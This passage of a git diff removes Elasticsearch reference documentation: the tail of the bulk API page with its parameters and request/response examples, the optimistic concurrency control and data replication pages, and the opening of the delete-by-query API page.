-    See https://github.com/elastic/go-elasticsearch/tree/master/_examples/bulk#indexergo[esutil.BulkIndexer]
-
-Perl::
-
-    See https://metacpan.org/pod/Search::Elasticsearch::Client::5_0::Bulk[Search::Elasticsearch::Client::5_0::Bulk]
-    and https://metacpan.org/pod/Search::Elasticsearch::Client::5_0::Scroll[Search::Elasticsearch::Client::5_0::Scroll]
-
-Python::
-
-    See https://elasticsearch-py.readthedocs.org/en/master/helpers.html[elasticsearch.helpers.*]
-
-JavaScript::
-
-    See {jsclient-current}/client-helpers.html[client.helpers.*]
-
-.NET::
-    See https://www.elastic.co/guide/en/elasticsearch/client/net-api/current/indexing-documents.html#bulkall-observable[`BulkAllObservable`]
-
-[discrete]
-[[bulk-curl]]
-===== Submitting bulk requests with cURL
-
-If you're providing text file input to `curl`, you *must* use the
-`--data-binary` flag instead of plain `-d`. The latter doesn't preserve
-newlines. Example:
-
-[source,js]
---------------------------------------------------
-$ cat requests
-{ "index" : { "_index" : "test", "_id" : "1" } }
-{ "field1" : "value1" }
-$ curl -s -H "Content-Type: application/x-ndjson" -XPOST localhost:9200/_bulk --data-binary "@requests"; echo
-{"took":7, "errors": false, "items":[{"index":{"_index":"test","_type":"_doc","_id":"1","_version":1,"result":"created","forced_refresh":false}}]}
---------------------------------------------------
-// NOTCONSOLE
-// Not converting to console because this shows how curl works
-
-[discrete]
-[[bulk-optimistic-concurrency-control]]
-===== Optimistic concurrency control
-
-Each `index` and `delete` action within a bulk API call may include the
-`if_seq_no` and `if_primary_term` parameters in their respective action
-and meta data lines. The `if_seq_no` and `if_primary_term` parameters control
-how operations are executed, based on the last modification to existing
-documents. See <<optimistic-concurrency-control>> for more details.
-
-
-[discrete]
-[[bulk-versioning]]
-===== Versioning
-
-Each bulk item can include the version value using the
-`version` field. It automatically follows the behavior of the
-index / delete operation based on the `_version` mapping. It also
-support the `version_type` (see <<index-versioning, versioning>>).
-
-[discrete]
-[[bulk-routing]]
-===== Routing
-
-Each bulk item can include the routing value using the
-`routing` field. It automatically follows the behavior of the
-index / delete operation based on the `_routing` mapping.
-
-NOTE: Data streams do not support custom routing. Instead, target the
-appropriate backing index for the stream.
-
-[discrete]
-[[bulk-wait-for-active-shards]]
-===== Wait for active shards
-
-When making bulk calls, you can set the `wait_for_active_shards`
-parameter to require a minimum number of shard copies to be active
-before starting to process the bulk request. See
-<<index-wait-for-active-shards,here>> for further details and a usage
-example.
-
-[discrete]
-[[bulk-refresh]]
-===== Refresh
-
-Control when the changes made by this request are visible to search. See
-<<docs-refresh,refresh>>.
-
-NOTE: Only the shards that receive the bulk request will be affected by
-`refresh`. Imagine a `_bulk?refresh=wait_for` request with three
-documents in it that happen to be routed to different shards in an index
-with five shards. The request will only wait for those three shards to
-refresh. The other two shards that make up the index do not
-participate in the `_bulk` request at all.
-
-[discrete]
-[[bulk-security]]
-===== Security
-
-See <<url-access-control>>.
-
-[[docs-bulk-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Name of the data stream, index, or index alias to perform bulk actions
-on.
-
-[[docs-bulk-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=pipeline]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=refresh]
-
-`require_alias`::
-(Optional, Boolean)
-If `true`, the request's actions must target an <<indices-aliases,index alias>>.
-Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=routing]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source_excludes]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source_includes]
-
-`timeout`::
-+
---
-(Optional, <<time-units, time units>>)
-Period each action waits for the following operations:
-
-* <<index-creation,Automatic index creation>>
-* <<dynamic-mapping,Dynamic mapping>> updates
-* <<index-wait-for-active-shards,Waiting for active shards>>
-
-Defaults to `1m` (one minute). This guarantees {es} waits for at least the
-timeout before failing. The actual wait time could be longer, particularly when
-multiple waits occur.
---
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=wait_for_active_shards]
-
-[[bulk-api-request-body]]
-==== {api-request-body-title}
-The request body contains a newline-delimited list of `create`, `delete`, `index`, 
-and `update` actions and their associated source data.
-
-`create`::
-(Optional, string) 
-Indexes the specified document if it does not already exist.
-The following line must contain the source data to be indexed. 
-+
---
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bulk-index]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bulk-id]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bulk-require-alias]
---
-
-`delete`::
-(Optional, string) 
-Removes the specified document from the index.
-+
---
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bulk-index]
-
-`_id`::
-(Required, string) 
-The document ID.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bulk-require-alias]
---
-
-`index`::
-(Optional, string) 
-Indexes the specified document. 
-If the document exists, replaces the document and increments the version.
-The following line must contain the source data to be indexed. 
-+
---
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bulk-index]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bulk-id]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bulk-require-alias]
---
-
-`update`::
-(Optional, string) 
-Performs a partial document update. 
-The following line must contain the partial document and update options.
-+
---
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bulk-index]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bulk-id]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bulk-require-alias]
---
-
-`doc`::
-(Optional, object) 
-The partial document to index.
-Required for `update` operations. 
-
-`<fields>`::
-(Optional, object) 
-The document source to index.
-Required for `create` and `index` operations. 
-
-[role="child_attributes"]
-[[bulk-api-response-body]]
-==== {api-response-body-title}
-
-The bulk API's response contains the individual results of each operation in the
-request, returned in the order submitted. The success or failure of an
-individual operation does not affect other operations in the request.
-
-[[bulk-partial-responses]]
-.Partial responses
-****
-To ensure fast responses, the bulk API will respond with partial results if one
-or more shards fail. See <<shard-failures, Shard failures>> for more
-information.
-****
-
-`took`::
-(integer)
-How long, in milliseconds, it took to process the bulk request.
-
-`errors`::
-(Boolean)
-If `true`, one or more of the operations in the bulk request did not complete
-successfully.
-
-`items`::
-(array of objects)
-Contains the result of each operation in the bulk request, in the order they
-were submitted.
-+
-.Properties of `items` objects
-[%collapsible%open]
-====
-<action>::
-(object)
-The parameter name is an action associated with the operation. Possible values
-are `create`, `delete`, `index`, and `update`.
-+
-The parameter value is an object that contains information for the associated
-operation.
-+
-.Properties of `<action>`
-[%collapsible%open]
-=====
-`_index`::
-(string)
-Name of the index associated with the operation. If the operation targeted a
-data stream, this is the backing index into which the document was written.
-
-`_type`::
-(string)
-The document type associated with the operation. {es} indices now support a
-single document type: `_doc`. See <<removal-of-types>>.
-
-`_id`::
-(integer)
-The document ID associated with the operation.
-
-`_version`::
-(integer)
-The document version associated with the operation. The document version is
-incremented each time the document is updated.
-+
-This parameter is only returned for successful actions.
-
-`result`::
-(string)
-Result of the operation. Successful values are `created`, `deleted`, and
-`updated`.
-+
-This parameter is only returned for successful operations.
-
-`_shards`::
-(object)
-Contains shard information for the operation.
-+
-This parameter is only returned for successful operations.
-+
-.Properties of `_shards`
-[%collapsible%open]
-======
-`total`::
-(integer)
-Number of shards the operation attempted to execute on.
-
-`successful`::
-(integer)
-Number of shards the operation succeeded on.
-
-`failed`::
-(integer)
-Number of shards the operation attempted to execute on but failed.
-======
-
-`_seq_no`::
-(integer)
-The sequence number assigned to the document for the operation.
-Sequence numbers are used to ensure an older version of a document
-doesn’t overwrite a newer version. See <<optimistic-concurrency-control-index>>.
-+
-This parameter is only returned for successful operations.
-
-`_primary_term`::
-(integer)
-The primary term assigned to the document for the operation.
-See <<optimistic-concurrency-control-index>>.
-+
-This parameter is only returned for successful operations.
-
-`status`::
-(integer)
-HTTP status code returned for the operation.
-
-`error`::
-(object)
-Contains additional information about the failed operation.
-+
-The parameter is only returned for failed operations.
-+
-.Properties of `error`
-[%collapsible%open]
-======
-`type`::
-(string)
-Error type for the operation.
-
-`reason`::
-(string)
-Reason for the failed operation.
-
-`index_uuid`::
-(string)
-The universally unique identifier (UUID) of the index associated with the failed
-operation.
-
-`shard`::
-(string)
-ID of the shard associated with the failed operation.
-
-`index`::
-(string)
-Name of the index associated with the failed operation. If the operation
-targeted a data stream, this is the backing index into which the document was
-attempted to be written.
-======
-=====
-====
-
-[[docs-bulk-api-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-POST _bulk
-{ "index" : { "_index" : "test", "_id" : "1" } }
-{ "field1" : "value1" }
-{ "delete" : { "_index" : "test", "_id" : "2" } }
-{ "create" : { "_index" : "test", "_id" : "3" } }
-{ "field1" : "value3" }
-{ "update" : {"_id" : "1", "_index" : "test"} }
-{ "doc" : {"field2" : "value2"} }
---------------------------------------------------
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 30,
-   "errors": false,
-   "items": [
-      {
-         "index": {
-            "_index": "test",
-            "_type": "_doc",
-            "_id": "1",
-            "_version": 1,
-            "result": "created",
-            "_shards": {
-               "total": 2,
-               "successful": 1,
-               "failed": 0
-            },
-            "status": 201,
-            "_seq_no" : 0,
-            "_primary_term": 1
-         }
-      },
-      {
-         "delete": {
-            "_index": "test",
-            "_type": "_doc",
-            "_id": "2",
-            "_version": 1,
-            "result": "not_found",
-            "_shards": {
-               "total": 2,
-               "successful": 1,
-               "failed": 0
-            },
-            "status": 404,
-            "_seq_no" : 1,
-            "_primary_term" : 2
-         }
-      },
-      {
-         "create": {
-            "_index": "test",
-            "_type": "_doc",
-            "_id": "3",
-            "_version": 1,
-            "result": "created",
-            "_shards": {
-               "total": 2,
-               "successful": 1,
-               "failed": 0
-            },
-            "status": 201,
-            "_seq_no" : 2,
-            "_primary_term" : 3
-         }
-      },
-      {
-         "update": {
-            "_index": "test",
-            "_type": "_doc",
-            "_id": "1",
-            "_version": 2,
-            "result": "updated",
-            "_shards": {
-                "total": 2,
-                "successful": 1,
-                "failed": 0
-            },
-            "status": 200,
-            "_seq_no" : 3,
-            "_primary_term" : 4
-         }
-      }
-   ]
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 30/"took": $body.took/]
-// TESTRESPONSE[s/"index_uuid": .../"index_uuid": $body.items.3.update.error.index_uuid/]
-// TESTRESPONSE[s/"_seq_no" : 0/"_seq_no" : $body.items.0.index._seq_no/]
-// TESTRESPONSE[s/"_primary_term" : 1/"_primary_term" : $body.items.0.index._primary_term/]
-// TESTRESPONSE[s/"_seq_no" : 1/"_seq_no" : $body.items.1.delete._seq_no/]
-// TESTRESPONSE[s/"_primary_term" : 2/"_primary_term" : $body.items.1.delete._primary_term/]
-// TESTRESPONSE[s/"_seq_no" : 2/"_seq_no" : $body.items.2.create._seq_no/]
-// TESTRESPONSE[s/"_primary_term" : 3/"_primary_term" : $body.items.2.create._primary_term/]
-// TESTRESPONSE[s/"_seq_no" : 3/"_seq_no" : $body.items.3.update._seq_no/]
-// TESTRESPONSE[s/"_primary_term" : 4/"_primary_term" : $body.items.3.update._primary_term/]
-
-[discrete]
-[[bulk-update]]
-===== Bulk update example
-
-When using the `update` action, `retry_on_conflict` can be used as a field in
-the action itself (not in the extra payload line), to specify how many
-times an update should be retried in the case of a version conflict.
-
-The `update` action payload supports the following options: `doc`
-(partial document), `upsert`, `doc_as_upsert`, `script`, `params` (for
-script), `lang` (for script), and `_source`. See update documentation for details on
-the options. Example with update actions:
-
-[source,console]
---------------------------------------------------
-POST _bulk
-{ "update" : {"_id" : "1", "_index" : "index1", "retry_on_conflict" : 3} }
-{ "doc" : {"field" : "value"} }
-{ "update" : { "_id" : "0", "_index" : "index1", "retry_on_conflict" : 3} }
-{ "script" : { "source": "ctx._source.counter += params.param1", "lang" : "painless", "params" : {"param1" : 1}}, "upsert" : {"counter" : 1}}
-{ "update" : {"_id" : "2", "_index" : "index1", "retry_on_conflict" : 3} }
-{ "doc" : {"field" : "value"}, "doc_as_upsert" : true }
-{ "update" : {"_id" : "3", "_index" : "index1", "_source" : true} }
-{ "doc" : {"field" : "value"} }
-{ "update" : {"_id" : "4", "_index" : "index1"} }
-{ "doc" : {"field" : "value"}, "_source": true}
---------------------------------------------------
-
-[discrete]
-[[bulk-failures-ex]]
-===== Example with failed actions
-
-The following bulk API request includes operations that update non-existent
-documents.
-
-[source,console]
-----
-POST /_bulk
-{ "update": {"_id": "5", "_index": "index1"} }
-{ "doc": {"my_field": "foo"} }
-{ "update": {"_id": "6", "_index": "index1"} }
-{ "doc": {"my_field": "foo"} }
-{ "create": {"_id": "7", "_index": "index1"} }
-{ "my_field": "foo" }
-----
-
-Because these operations cannot complete successfully, the API returns a
-response with an `errors` flag of `true`.
-
-The response also includes an `error` object for any failed operations. The
-`error` object contains additional information about the failure, such as the
-error type and reason.
-
-[source,console-result]
-----
-{
-  "took": 486,
-  "errors": true,
-  "items": [
-    {
-      "update": {
-        "_index": "index1",
-        "_type" : "_doc",
-        "_id": "5",
-        "status": 404,
-        "error": {
-          "type": "document_missing_exception",
-          "reason": "[_doc][5]: document missing",
-          "index_uuid": "aAsFqTI0Tc2W0LCWgPNrOA",
-          "shard": "0",
-          "index": "index1"
-        }
-      }
-    },
-    {
-      "update": {
-        "_index": "index1",
-        "_type" : "_doc",
-        "_id": "6",
-        "status": 404,
-        "error": {
-          "type": "document_missing_exception",
-          "reason": "[_doc][6]: document missing",
-          "index_uuid": "aAsFqTI0Tc2W0LCWgPNrOA",
-          "shard": "0",
-          "index": "index1"
-        }
-      }
-    },
-    {
-      "create": {
-        "_index": "index1",
-        "_type" : "_doc",
-        "_id": "7",
-        "_version": 1,
-        "result": "created",
-        "_shards": {
-          "total": 2,
-          "successful": 1,
-          "failed": 0
-        },
-        "_seq_no": 0,
-        "_primary_term": 1,
-        "status": 201
-      }
-    }
-  ]
-}
-----
-// TESTRESPONSE[s/"took": 486/"took": $body.took/]
-// TESTRESPONSE[s/"_seq_no": 0/"_seq_no": $body.items.2.create._seq_no/]
-// TESTRESPONSE[s/"index_uuid": "aAsFqTI0Tc2W0LCWgPNrOA"/"index_uuid": $body.$_path/]
-
-To return only information about failed operations, use the
-<<common-options-response-filtering,`filter_path`>> query parameter with an
-argument of `items.*.error`.
-
-[source,console]
-----
-POST /_bulk?filter_path=items.*.error
-{ "update": {"_id": "5", "_index": "index1"} }
-{ "doc": {"my_field": "baz"} }
-{ "update": {"_id": "6", "_index": "index1"} }
-{ "doc": {"my_field": "baz"} }
-{ "update": {"_id": "7", "_index": "index1"} }
-{ "doc": {"my_field": "baz"} }
-----
-// TEST[continued]
-
-The API returns the following result.
-
-[source,console-result]
-----
-{
-  "items": [
-    {
-      "update": {
-        "error": {
-          "type": "document_missing_exception",
-          "reason": "[_doc][5]: document missing",
-          "index_uuid": "aAsFqTI0Tc2W0LCWgPNrOA",
-          "shard": "0",
-          "index": "index1"
-        }
-      }
-    },
-    {
-      "update": {
-        "error": {
-          "type": "document_missing_exception",
-          "reason": "[_doc][6]: document missing",
-          "index_uuid": "aAsFqTI0Tc2W0LCWgPNrOA",
-          "shard": "0",
-          "index": "index1"
-        }
-      }
-    }
-  ]
-}
-----
-// TESTRESPONSE[s/"index_uuid": "aAsFqTI0Tc2W0LCWgPNrOA"/"index_uuid": $body.$_path/]
diff --git a/docs/reference/docs/concurrency-control.asciidoc b/docs/reference/docs/concurrency-control.asciidoc
deleted file mode 100644
index c399f6063ab..00000000000
--- a/docs/reference/docs/concurrency-control.asciidoc
+++ /dev/null
@@ -1,113 +0,0 @@
-[[optimistic-concurrency-control]]
-=== Optimistic concurrency control
-
-Elasticsearch is distributed. When documents are created, updated, or deleted,
-the new version of the document has to be replicated to other nodes in the cluster. 
-Elasticsearch is also asynchronous and concurrent, meaning that these replication
-requests are sent in parallel, and may arrive at their destination out of sequence. 
-Elasticsearch needs a way of ensuring that an older version of a document never 
-overwrites a newer version.
-
-
-To ensure an older version of a document doesn't overwrite a newer version, every
-operation performed to a document is assigned a sequence number by the primary
-shard that coordinates that change. The sequence number is increased with each
-operation and thus newer operations are guaranteed to have a higher sequence
-number than older operations. Elasticsearch can then use the sequence number of
-operations to make sure a newer document version is never overridden by
-a change that has a smaller sequence number assigned to it.
-
-For example, the following indexing command will create a document and assign it
-an initial sequence number and primary term:
-
-[source,console]
---------------------------------------------------
-PUT products/_doc/1567
-{
-  "product" : "r2d2",
-  "details" : "A resourceful astromech droid"
-}
---------------------------------------------------
-
-You can see the assigned sequence number and primary term in the 
-`_seq_no` and `_primary_term` fields of the response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_shards": {
-    "total": 2,
-    "failed": 0,
-    "successful": 1
-  },
-  "_index": "products",
-  "_type": "_doc",
-  "_id": "1567",
-  "_version": 1,
-  "_seq_no": 362,
-  "_primary_term": 2,
-  "result": "created"
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no": 362/"_seq_no": $body._seq_no/]
-// TESTRESPONSE[s/"_primary_term": 2/"_primary_term": $body._primary_term/]
-
-
-Elasticsearch keeps tracks of the sequence number and primary term of the last
-operation to have changed each of the documents it stores. The sequence number
-and primary term are returned in the `_seq_no` and `_primary_term` fields in
-the response of the <<docs-get,GET API>>:
-
-[source,console]
---------------------------------------------------
-GET products/_doc/1567
---------------------------------------------------
-// TEST[continued]
-
-returns:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index": "products",
-  "_type": "_doc",
-  "_id": "1567",
-  "_version": 1,
-  "_seq_no": 362,
-  "_primary_term": 2,
-  "found": true,
-  "_source": {
-    "product": "r2d2",
-    "details": "A resourceful astromech droid"
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no": 362/"_seq_no": $body._seq_no/]
-// TESTRESPONSE[s/"_primary_term": 2/"_primary_term": $body._primary_term/]
-
-
-Note: The <<search-search,Search API>> can return the `_seq_no` and `_primary_term`
-for each search hit by setting <<request-body-search-seq-no-primary-term,`seq_no_primary_term` parameter>>.
-
-The sequence number and the primary term uniquely identify a change. By noting down 
-the sequence number and primary term returned, you can make sure to only change the
-document if no other change was made to it since you retrieved it. This
-is done by setting the `if_seq_no` and `if_primary_term` parameters of the 
-<<docs-index_,index API>>, <<docs-update,update API>>, or <<docs-delete,delete
-API>>. 
-
-For example, the following indexing call will make sure to add a tag to the
-document without losing any potential change to the description or an addition
-of another tag by another API:
-
-[source,console]
---------------------------------------------------
-PUT products/_doc/1567?if_seq_no=362&if_primary_term=2
-{
-  "product": "r2d2",
-  "details": "A resourceful astromech droid",
-  "tags": [ "droid" ]
-}
---------------------------------------------------
-// TEST[continued]
-// TEST[catch: conflict]
diff --git a/docs/reference/docs/data-replication.asciidoc b/docs/reference/docs/data-replication.asciidoc
deleted file mode 100644
index 54bbe0ca605..00000000000
--- a/docs/reference/docs/data-replication.asciidoc
+++ /dev/null
@@ -1,173 +0,0 @@
-
-[[docs-replication]]
-=== Reading and Writing documents
-
-[discrete]
-==== Introduction
-
-Each index in Elasticsearch is <<scalability,divided into shards>>
-and each shard can have multiple copies. These copies are known as a _replication group_ and must be kept in sync when documents
-are added or removed. If we fail to do so, reading from one copy will result in very different results than reading from another.
-The process of keeping the shard copies in sync and serving reads from them is what we call the _data replication model_.
-
-Elasticsearch’s data replication model is based on the _primary-backup model_ and is described very well in the
-https://www.microsoft.com/en-us/research/publication/pacifica-replication-in-log-based-distributed-storage-systems/[PacificA paper] of
-Microsoft Research. That model is based on having a single copy from the replication group that acts as the primary shard.
-The other copies are called _replica shards_. The primary serves as the main entry point for all indexing operations. It is in charge of
-validating them and making sure they are correct. Once an index operation has been accepted by the primary, the primary is also
-responsible for replicating the operation to the other copies.
-
-This purpose of this section is to give a high level overview of the Elasticsearch replication model and discuss the implications
-it has for various interactions between write and read operations.
-
-[discrete]
-[[basic-write-model]]
-==== Basic write model
-
-Every indexing operation in Elasticsearch is first resolved to a replication group using <<index-routing,routing>>,
-typically based on the document ID. Once the replication group has been determined, the operation is forwarded
-internally to the current _primary shard_ of the group. This stage of indexing is referred to as the _coordinating stage_.
-
-The next stage of indexing is the _primary stage_, performed on the primary shard. The primary shard is responsible
-for validating the operation and forwarding it to the other replicas. Since replicas can be offline, the primary
-is not required to replicate to all replicas. Instead, Elasticsearch maintains a list of shard copies that should
-receive the operation. This list is called the _in-sync copies_ and is maintained by the master node. As the name implies,
-these are the set of "good" shard copies that are guaranteed to have processed all of the index and delete operations that
-have been acknowledged to the user. The primary is responsible for maintaining this invariant and thus has to replicate all
-operations to each copy in this set.
-
-The primary shard follows this basic flow:
-
-. Validate incoming operation and reject it if structurally invalid (Example: have an object field where a number is expected)
-. Execute the operation locally i.e. indexing or deleting the relevant document. This will also validate the content of fields
-   and reject if needed (Example: a keyword value is too long for indexing in Lucene).
-. Forward the operation to each replica in the current in-sync copies set. If there are multiple replicas, this is done in parallel.
-. Once all replicas have successfully performed the operation and responded to the primary, the primary acknowledges the successful
-   completion of the request to the client.
-
-Each in-sync replica copy performs the indexing operation locally so that it has a copy. This stage of indexing is the
-_replica stage_.
-
-These indexing stages (coordinating, primary, and replica) are sequential. To enable internal retries, the lifetime of each stage
-encompasses the lifetime of each subsequent stage. For example, the coordinating stage is not complete until each primary
-stage, which may be spread out across different primary shards, has completed. Each primary stage will not complete until the
-in-sync replicas have finished indexing the docs locally and responded to the replica requests.
-
-[discrete]
-===== Failure handling
-
-Many things can go wrong during indexing -- disks can get corrupted, nodes can be disconnected from each other, or some
-configuration mistake could cause an operation to fail on a replica despite it being successful on the primary. These
-are infrequent but the primary has to respond to them.
-
-In the case that the primary itself fails, the node hosting the primary will send a message to the master about it. The indexing
-operation will wait (up to 1 minute, by <<dynamic-index-settings,default>>) for the master to promote one of the replicas to be a
-new primary. The operation will then be forwarded to the new primary for processing. Note that the master also monitors the
-health of the nodes and may decide to proactively demote a primary. This typically happens when the node holding the primary
-is isolated from the cluster by a networking issue. See <<demoted-primary,here>> for more details.
-
-Once the operation has been successfully performed on the primary, the primary has to deal with potential failures
-when executing it on the replica shards. This may be caused by an actual failure on the replica or due to a network
-issue preventing the operation from reaching the replica (or preventing the replica from responding). All of these
-share the same end result: a replica which is part of the in-sync replica set misses an operation that is about to
-be acknowledged. In order to avoid violating the invariant, the primary sends a message to the master requesting
-that the problematic shard be removed from the in-sync replica set. Only once removal of the shard has been acknowledged
-by the master does the primary acknowledge the operation. Note that the master will also instruct another node to start
-building a new shard copy in order to restore the system to a healthy state.
-
-[[demoted-primary]]
-While forwarding an operation to the replicas, the primary will use the replicas to validate that it is still the
-active primary. If the primary has been isolated due to a network partition (or a long GC) it may continue to process
-incoming indexing operations before realising that it has been demoted. Operations that come from a stale primary
-will be rejected by the replicas. When the primary receives a response from the replica rejecting its request because
-it is no longer the primary then it will reach out to the master and will learn that it has been replaced. The
-operation is then routed to the new primary.
-
-.What happens if there are no replicas?
-************
-This is a valid scenario that can happen due to index configuration or simply
-because all the replicas have failed. In that case the primary is processing operations without any external validation,
-which may seem problematic. On the other hand, the primary cannot fail other shards on its own but request the master to do
-so on its behalf. This means that the master knows that the primary is the only single good copy. We are therefore guaranteed
-that the master will not promote any other (out-of-date) shard copy to be a  new primary and that any operation indexed
-into the primary will not be lost. Of course, since at that point we are running with only single copy of the data, physical hardware
-issues can cause data loss. See <<index-wait-for-active-shards>> for some mitigation options.
-************
-
-[discrete]
-==== Basic read model
-
-Reads in Elasticsearch can be very lightweight lookups by ID or a heavy search request with complex aggregations that
-take non-trivial CPU power. One of the beauties of the primary-backup model is that it keeps all shard copies identical
-(with the exception of in-flight operations). As such, a single in-sync copy is sufficient to serve read requests.
-
-When a read request is received by a node, that node is responsible for forwarding it to the nodes that hold the relevant shards,
-collating the responses, and responding to the client. We call that node the _coordinating node_ for that request. The basic flow
-is as follows:
-
-. Resolve the read requests to the relevant shards. Note that since most searches will be sent to one or more indices,
-   they typically need to read from multiple shards, each representing a different subset of the data.
-. Select an active copy of each relevant shard, from the shard replication group. This can be either the primary or
-   a replica. By default, {es} uses <<search-adaptive-replica,adaptive replica
-   selection>> to select the shard copies.
-. Send shard level read requests to the selected copies.
-. Combine the results and respond. Note that in the case of get by ID look up, only one shard is relevant and this step can be skipped.
-
-[discrete]
-[[shard-failures]]
-===== Shard failures
-
-When a shard fails to respond to a read request, the coordinating node sends the
-request to another shard copy in the same replication group. Repeated failures
-can result in no available shard copies.
-
-To ensure fast responses, the following APIs will
-respond with partial results if one or more shards fail:
-
-* <<search-search, Search>>
-* <<search-multi-search, Multi Search>>
-* <<docs-bulk, Bulk>>
-* <<docs-multi-get, Multi Get>>
-
-Responses containing partial results still provide a `200 OK` HTTP status code.
-Shard failures are indicated by the `timed_out` and `_shards` fields of
-the response header.
-
-[discrete]
-==== A few simple implications
-
-Each of these basic flows determines how Elasticsearch behaves as a system for both reads and writes. Furthermore, since read
-and write requests can be executed concurrently, these two basic flows interact with each other. This has a few inherent implications:
-
-Efficient reads:: Under normal operation each read operation is performed once for each relevant replication group.
-   Only under failure conditions do multiple copies of the same shard execute the same search.
-
-Read unacknowledged:: Since the primary first indexes locally and then replicates the request, it is possible for a
-  concurrent read to already see the change before it has been acknowledged.
-
-Two copies by default:: This model can be fault tolerant while maintaining only two copies of the data. This is in contrast to
-  quorum-based system where the minimum number of copies for fault tolerance is 3.
-
-[discrete]
-==== Failures
-
-Under failures, the following is possible:
-
-A single shard can slow down indexing:: Because the primary waits for all replicas in the in-sync copies set during each operation,
-  a single slow shard can slow down the entire replication group. This is the price we pay for the read efficiency mentioned above.
-  Of course a single slow shard will also slow down unlucky searches that have been routed to it.
-
-Dirty reads:: An isolated primary can expose writes that will not be acknowledged. This is caused by the fact that an isolated
-  primary will only realize that it is isolated once it sends requests to its replicas or when reaching out to the master.
-  At that point the operation is already indexed into the primary and can be read by a concurrent read. Elasticsearch mitigates
-  this risk by pinging the master every second (by default) and rejecting indexing operations if no master is known.
-
-[discrete]
-==== The Tip of the Iceberg
-
-This document provides a high level overview of how Elasticsearch deals with data. Of course, there is much much more
-going on under the hood. Things like primary terms, cluster state publishing, and master election all play a role in
-keeping this system behaving correctly. This document also doesn't cover known and important
-bugs (both closed and open). We recognize that https://github.com/elastic/elasticsearch/issues?q=label%3Aresiliency[GitHub is hard to keep up with].
-To help people stay on top of those, we maintain a dedicated https://www.elastic.co/guide/en/elasticsearch/resiliency/current/index.html[resiliency page]
-on our website. We strongly advise reading it.
diff --git a/docs/reference/docs/delete-by-query.asciidoc b/docs/reference/docs/delete-by-query.asciidoc
deleted file mode 100644
index 43f423018b9..00000000000
--- a/docs/reference/docs/delete-by-query.asciidoc
+++ /dev/null
@@ -1,691 +0,0 @@
-[[docs-delete-by-query]]
-=== Delete by query API
-++++
-<titleabbrev>Delete by query</titleabbrev>
-++++
-
-Deletes documents that match the specified query.
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_delete_by_query
-{
-  "query": {
-    "match": {
-      "user.id": "elkbee"
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index_big]
-
-////
-
-[source,console-result]
---------------------------------------------------
-{
-  "took" : 147,
-  "timed_out": false,
-  "deleted": 119,
-  "batches": 1,
-  "version_conflicts": 0,
-  "noops": 0,
-  "retries": {
-    "bulk": 0,
-    "search": 0
-  },
-  "throttled_millis": 0,
-  "requests_per_second": -1.0,
-  "throttled_until_millis": 0,
-  "total": 119,
-  "failures" : [ ]
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took" : 147/"took" : "$body.took"/]
-////
-
-[[docs-delete-by-query-api-request]]
-==== {api-request-title}
-
-`POST /<target>/_delete_by_query`
-
-[[docs-delete-by-query-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the following
-<<privileges-list-indices,index privileges>> for the target data stream, index,
-or index alias:
-
-** `read`
-** `delete` or `write`
-
-[[docs-delete-by-query-api-desc]]
-==== {api-description-title}
-
-You can specify the query criteria in the request URI or the request body
-using the same syntax as the  <<search-search,Search API>>.
-
-When you submit a delete by query request, {es} gets a snapshot of the data stream or index
-when it begins processing the request and deletes matching documents using
-`internal` versioning. If a document changes between the time that the
-snapshot is taken and the delete operation is processed, it results in a version
-conflict and the delete operation fails.
-
-NOTE: Documents with a version equal to 0 cannot be deleted using delete by
-query because `internal` versioning does not support 0 as a valid
-version number.
-
-While processing a delete by query request, {es} performs multiple search
-requests sequentially to find all of the matching documents to delete. A bulk
-delete request is performed for each batch of matching documents. If a
-search or bulk request is rejected, the requests are retried up to 10 times, with
-exponential back off. If the maximum retry limit is reached, processing halts
-and all failed requests are returned in the response. Any delete requests that
-completed successfully still stick, they are not rolled back.
-
-You can opt to count version conflicts instead of halting and returning by
-setting `conflicts` to `proceed`.
-
-===== Refreshing shards
-
-Specifying the `refresh` parameter refreshes all shards involved in the delete
-by query once the request completes. This is different than the delete API's
-`refresh` parameter, which causes just the shard that received the delete
-request to be refreshed. Unlike the delete API, it does not support
-`wait_for`.
-
-[[docs-delete-by-query-task-api]]
-===== Running delete by query asynchronously
-
-If the request contains `wait_for_completion=false`, {es}
-performs some preflight checks, launches the request, and returns a
-<<tasks,`task`>> you can use to cancel or get the status of the task. {es} creates a
-record of this task as a document at `.tasks/task/${taskId}`. When you are
-done with a task, you should delete the task document so {es} can reclaim the
-space.
-
-===== Waiting for active shards
-
-`wait_for_active_shards` controls how many copies of a shard must be active
-before proceeding with the request. See <<index-wait-for-active-shards>>
